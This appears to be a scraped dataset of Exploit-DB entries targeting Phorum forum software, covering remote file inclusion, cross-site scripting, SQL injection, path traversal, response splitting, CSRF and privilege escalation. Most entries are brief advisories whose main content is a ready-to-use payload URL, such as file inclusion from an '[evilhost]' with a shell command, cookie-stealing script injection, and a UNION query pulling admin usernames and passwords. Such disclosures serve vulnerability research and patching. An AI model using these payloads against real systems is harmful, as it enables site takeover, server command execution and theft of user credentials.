deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2894
Description: Phorum 3.2.11 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-06
Author: Mr-m07

Exploit:
===========================================================
Yee7TeaM

WwW.Yee7.CoM
===========================================================

Software: Phorum v3.2.11

Vendor: http://www.phorum.org/

Download: http://skrypty.webpc.pl/pobierz274.html

Dork: "Copyright (C) 2000  Phorum Development Team"  and back form doc
folder :)

Description:

Line 31 of common.php

>
>>  // $db_file = './db/postgresql65.php';
>

Exploit: http://[localhost]/[paTh]/common.php?db_file=[Ev!lScript]


===========================================================
By: Mr-m07
Thanx To: ShockShadow & AL-SHIKH
WwW.Yee7.CoM
===========================================================

# milw0rm.com [2006-12-06]
Exploit-DB #21461
Description: Phorum 3.3.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-05-18
Author: markus arndt

Exploit:
source: https://www.securityfocus.com/bid/4767/info

Phorum is a PHP based web forums package designed for most UNIX variants, Linux, and Microsoft Windows operating systems.

The 'header.php' and 'footer.php' components of Phorum do not santize the client-supplied value of the 'GLOBALS' parameter prior to output. As a result, script commands embedded in these variables will be executed by the client in the context of Phorum.

Attackers may exploit this vulnerability to obtain user credentials.

http://[host]/phorum/admin/footer.php?GLOBALS[message]=<script>alert("css strikes!");</script>

http://[host]/phorum/admin/header.php?GLOBALS[message]=<script>alert("css strikes!");</script>
Exploit-DB #21459
Description: Phorum 3.3.2a - Remote Command Execution
Type: webapps
Platform: php
Date: 2002-05-17
Author: markus arndt

Exploit:
source: https://www.securityfocus.com/bid/4763/info

Phorum is a PHP based web forums package designed for most UNIX variants, Linux, and Microsoft Windows operating systems.

A vulnerability has been reported in Phorum that will allow remote attackers to specify external PHP scripts and potentially execute commands.

The vulnerability exists in 'plugin.php','admin.php' and 'del.php' files found in the distribution of Phorum. It is possible for a malicious attacker to specify the location of a parameter to the vulnerable PHP files by passing an argument via URL to the PHP files. 

http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

http://[vulnerablehost]/phorum/admin/actions/del.php?include_path=http://[evilhost]&cmd=ls
Exploit-DB #22451
Description: Phorum 3.4 - Email Subject Line Script Injection
Type: webapps
Platform: php
Date: 2003-04-02
Author: peter

Exploit:
source: https://www.securityfocus.com/bid/7262/info

It has been reported that it is possible to inject script code into the subject of a message in Phorum. This may be done by constructing a malicious subject line (or other fields) before sending an email to the target victim. 

"><script>alert("Vulnerable");</script>
Exploit-DB #22579
Description: Phorum 3.4.x - 'Message Form' HTML Injection
Type: webapps
Platform: php
Date: 2003-05-09
Author: WiciU

Exploit:
source: https://www.securityfocus.com/bid/7545/info

An HTML injection issue has been reported which may lead to unauthorized code execution.

It has been reported that it is possible to inject HTML or script code into the subject and other fields of a message in Phorum. This may be done by including code in message fields before sending a message to the target victim.

<<b>script>alert(document.cookie);<<b>/script>
Exploit-DB #24016
Description: Phorum 3.4.x - Phorum_URIAuth SQL Injection
Type: webapps
Platform: php
Date: 2004-04-19
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10173/info

Reportedly Phorum is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitized user supplied URI input.

This issue may allow a remote attacker to manipulate query logic, leading to unauthorized access to sensitive information such as the user password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?modname=saf&id=4
Exploit-DB #23819
Description: Phorum 3.x - 'login.php' HTTP_REFERER Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-15
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9882/info
 
It has been reported that Phorum is prone to a cross-site scripting vulnerability across multiple modules. The issue presents itself across multiple modules including 'login.php', 'register.php', and 'profile.php'. These modules employ two hidden variables named 'f' and 'target', which are passed user-supplied input values from HTTP_REFERER without proper sanitization.
 
Phorum versions 5.0.3 Beta and prior are reported to be vulnerable to this issue.

login.php?HTTP_REFERER=[XSS]
Exploit-DB #23820
Description: Phorum 3.x - 'profile.php?target' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-15
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9882/info
  
It has been reported that Phorum is prone to a cross-site scripting vulnerability across multiple modules. The issue presents itself across multiple modules including 'login.php', 'register.php', and 'profile.php'. These modules employ two hidden variables named 'f' and 'target', which are passed user-supplied input values from HTTP_REFERER without proper sanitization.
  
Phorum versions 5.0.3 Beta and prior are reported to be vulnerable to this issue.

profile.php?id=2&action=edit&target=[XSS]
Exploit-DB #23818
Description: Phorum 3.x - 'register.php' HTTP_REFERER Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-15
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9882/info

It has been reported that Phorum is prone to a cross-site scripting vulnerability across multiple modules. The issue presents itself across multiple modules including 'login.php', 'register.php', and 'profile.php'. These modules employ two hidden variables named 'f' and 'target', which are passed user-supplied input values from HTTP_REFERER without proper sanitization.

Phorum versions 5.0.3 Beta and prior are reported to be vulnerable to this issue.

register.php?&HTTP_REFERER=[XSS]
Exploit-DB #20431
Description: Phorum 3.x - Arbitrary File Read
Type: webapps
Platform: php
Date: 2000-11-24
Author: Joao Gouveia

Exploit:
source: https://www.securityfocus.com/bid/1997/info

Phorum is a PHP based web forums package. Due to an error in the handling of user input in administrative scripts, any user can view the any file readable by the webserver on the target host. This is due to user-supplied input being referenced as a filename in two locations in the file common.php.

The ForumLang variable, used to specify a language in which the forum will be displayed, is not checked for "../" character sequences. As a result, it is possible for users to supply a path consisting of "../" sequences followed by an arbitrary file on the filesystem to the script, which will open it and display its contents.

The consequences of this vulnerability being exploited is a disclosure of system information (eg valid accounts). Under certain circumstances, this may also indirectly lead to the attacker gaining local access to the system. 


http://phorum.org/support/common.php?f=0&ForumLang=../../../../../../../etc/resolv.conf
Exploit-DB #20428
Description: Phorum 3.x - PHP Configuration Disclosure
Type: webapps
Platform: php
Date: 2000-11-23
Author: Joao Gouveia

Exploit:
source: https://www.securityfocus.com/bid/1985/info

Phorum is a PHP based web forums package. Due to an error in the implementation of forum selection in administrative scripts, any user can view the any PHP script on the target host. This is due to user-supplied input being referenced as a filename in two locations in the file common.php. For example:

if($num || $f){
if($f) $num=$f;
if(file_exists("$admindir/forums/$num.php")){
include "$admindir/forums/$num.php";
}

where $f is read from user input via a form, and is meant to be the name of a selected forum. However, any value can be submitted as $f and the corresponding PHP file will be displayed to the browser. This could lead to disclosure of sensitive information, including the MySql server, database name, userid and password, which are kept in master.php. 

http://target/cgi-bin/forums/list.php?f=DESIRED_PHP_FILE_WITHOUT_EXTENSION
Exploit-DB #25258
Description: Phorum 3.x/5.0.x - HTTP Response Splitting
Type: webapps
Platform: php
Date: 2005-03-22
Author: Alexander Anisimov

Exploit:
source: https://www.securityfocus.com/bid/12869/info

A remote HTTP response splitting vulnerability reportedly affects Phorum. This issue is due to a failure of the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

This issue was reported to affect Phorum version 5.0.14a; other versions might also be affected.

http://www.example.com/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2
034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30
Exploit-DB #27363
Description: PHORUM 3.x/5.x - 'Common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-03-06
Author: ERNE

Exploit:
source: https://www.securityfocus.com/bid/16977/info

The PHORUM application is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 5.1.13 and prior; other versions may also be vulnerable.

NOTE: The vendor reports that this issue cannot be exploited due to security restrictions placed on 'common.php'; therefore, this BID is being retired.

http://www.example.com/[phorum_path]/common.php?PHORUM[http_path]=[evil_scripts]
Exploit-DB #25919
Description: Phorum 5.0.11 - 'Read.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-10-24
Author: Positive Technologies

Exploit:
source: https://www.securityfocus.com/bid/14095/info

Phoroum is prone to SQL injection attacks. Insufficient sanitization of user input may allow a malicious user to manipulate the structure and logic of database queries.

Successful exploitation could allow the attacker to compromise security properties of the application and the database. Possible consequences include unauthorized access to the application and database.

This issue has been reported to exist in Phorum 5.0.11. Earlier versions may also be affected. 

http://www.example.com/read.php?1,[MALICIOUS_SQL_CODE],newer
Exploit-DB #25223
Description: Phorum 5.0.14 - Multiple Subject and Attachment HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-14
Author: Jon Oberheide

Exploit:
source: https://www.securityfocus.com/bid/12800/info

Phorum is reportedly affected by multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect Phorum 5.0.14; earlier versions may also be affected. 

test<script language='Javascript' src='http:&#47;&#47;www.example.com&#47;test.js'>.txt
Exploit-DB #24331
Description: Phorum 5.0.7 - Search Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-28
Author: vampz

Exploit:
source: https://www.securityfocus.com/bid/10822/info

A cross-site scripting vulnerability is reported to affect Phorum. This issue affects the 'search.php' script. As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user.

This vulnerability was reported to affect Phorum 5.0.7 beta.

http://www.example.com/phorum5/search.php?12,search=vamp,page=1,match_type=ALL,
match_dates=00,match_forum=ALL ,body=,author=,subject= [ Evil Code Here ]
Exploit-DB #24732
Description: Phorum 5.0.x - 'FOLLOW.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-11-11
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/11660/info

Reportedly Phorum is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitized user supplied URI input.

This issue allows remote attackers to manipulate query logic, leading to unauthorized access to sensitive information such as the user password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

This issue has been reported to affected versions prior to 5.0.13.

http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&thread=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1
Exploit-DB #29891
Description: Phorum 5.1.20 - '/include/admin/banlist.php?delete' Cross-Site Request Forgery Banlist Deletion
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
    
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
    
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
 
> From source: "include/admin/banlist.php" line 47:
--------------------------------------------------
    if(isset($_GET["curr"])){
        if(isset($_GET["delete"])){
            phorum_db_del_banitem($_GET['curr']);
            echo "Ban Item Deleted<br />";
        } else {
            $curr = $_GET["curr"];
        }
    }
--------------------------------------------------
PoC:
http://localhost/phorum.5.1.20/admin.php?module=banlist&curr=9&delete=1

... and banlist entry will be deleted easily.

Solution: use POST method
Exploit-DB #29889
Description: Phorum 5.1.20 - '/include/controlcenter/users.php' Multiple Method Privilege Escalations
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
  
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
  
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
 
All parameters must be set correctly for this exploit to work.
"/control.php?1" --> "1" is forum id, where moderator has user moderation
privileges.
"user_ids[2]" -->  "2" is userid of the user, who want's to get admin privileges
And of course, moderator must be logged in before using exploit.

It's that easy - you push the button - and you have admi rights!!

So where is the initial problem for this security hole?

Let's look at sourrce code of "include/controlcenter/users.php" line 29:

------------------[source code]----------------------
if(!empty($_POST["user_ids"])){

    foreach($_POST["user_ids"] as $user_id){

        if(!isset($_POST["approve"])){
            $userdata["active"]=PHORUM_USER_INACTIVE;
        } else {
            $user=phorum_user_get($user_id);
            if($user["active"]==PHORUM_USER_PENDING_BOTH){
                $userdata["active"]=PHORUM_USER_PENDING_EMAIL;
            } else {
                $userdata["active"]=PHORUM_USER_ACTIVE;
                // send reg approved message

$maildata["mailsubject"]=$PHORUM["DATA"]["LANG"]["RegApprovedSubject"];

$maildata["mailmessage"]=wordwrap($PHORUM["DATA"]["LANG"]["RegApprovedEmailBody"], 72);
                phorum_email_user(array($user["email"]), $maildata);
            }
        }

        $userdata["user_id"]=$user_id;

        phorum_user_save($userdata);
    }
}
------------------[/source code]----------------------

As we can see, by manipulating $_POST["user_ids"] parameter any user can
be activated or deactivated. Including admin. So - there is no checking, if target
user is allready active or has it higher privileges than moderator.
This was mistake one. Now, mistake number two.

Array "$userdata" is uninitialized. So we can "poison" that variable, if php settings
has "register_globals=on". And in this way user moderator can deliver for saving any
userdata for any user. For example - userdata[admin] carries user admin privileges.

Solution: array initializing before use and adding some security checks.
Exploit-DB #29893
Description: Phorum 5.1.20 - 'admin.php' badwords/banlist Module SQL Injection
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
      
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
      
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

> From source code - "include/db/mysql.php" line 3223:
--------------------------------------------------
function phorum_db_del_banitem($banid) {
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    $sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";

    $res = mysql_query($sql, $conn);
---------------------------------------------------

PoC: http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR

... and we will get error message:

<!-- You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR -->
Exploit-DB #29894
Description: Phorum 5.1.20 - 'admin.php' Groups Module Edit/Add Group Field SQL Injection
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
       
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
       
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

Let's try to add group named "war'axe":

http://localhost/phorum.5.1.20/admin.php?module=groups

Edit groups / Add group --> war'axe

<!-- You have an error in your SQL syntax; check the manual that corresponds to your
 MySQL server version for the right syntax to use near 'axe')' at line 1:
insert into phorum_groups (name) values ('war'axe') -->
Exploit-DB #29887
Description: Phorum 5.1.20 - 'admin.php?Groups Module group_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info

Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.

Phorum 5.1.20 is affected; prior versions may also be vulnerable.

http://localhost/phorum.5.1.20/admin.php?module=groups&edit=1&
group_id="><script>alert(123);</script>
Exploit-DB #29888
Description: Phorum 5.1.20 - 'admin.php?modsettings Module smiley_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
 
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
 
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

http://localhost/phorum.5.1.20/admin.php?module=modsettings&mod=smileys&
edit=1&smiley_id="><script>alert(123);</script>
Exploit-DB #29890
Description: Phorum 5.1.20 - 'admin.php?module[]' Full Path Disclosure
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
   
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
   
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

http://localhost/phorum.5.1.20/admin.php?module[]=groups

Warning: basename() expects parameter 1 to be string, array given in
C:\apache_wwwroot\phorum.5.1.20\admin.php on line 57